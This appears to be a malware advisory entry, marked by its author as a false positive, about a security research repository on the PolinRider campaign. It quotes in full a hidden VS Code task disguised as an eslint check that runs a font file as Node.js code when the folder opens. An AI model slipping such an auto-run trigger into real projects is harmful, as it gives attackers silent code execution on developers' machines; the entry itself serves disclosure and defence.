GCVE-110-OSM-2026-9483

FALSE POSITIVE - DO NOT VERIFY. This repository is a security research writeup ("The Complete Developer's Guide to Detection, Containment, and Recovery" for the PolinRider campaign). The matched file is at examples/vulnerable-samples/.vscode/tasks.json - an illustrative educational sample, not a live malicious artifact affecting real users. This submission should be rejected/removed. Malicious payload found in: examples/vulnerable-samples/.vscode/tasks.json Attack vector: Hidden VS Code task (label eslint-check, runOn: folderOpen, presentation.reveal: never, hide: true) that runs: (command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-400.woff2) || echo '' Behavior: Attempts to execute a font file (fa-solid-400.woff2) as Node.js code automatically when VS Code opens the project folder, disguised as an eslint background check task. Payload status: In this repository the referenced .woff2 file is missing or a 0-byte empty stub (git empty-blob hash), so the execution trigger is present but currently has no live second-stage payload.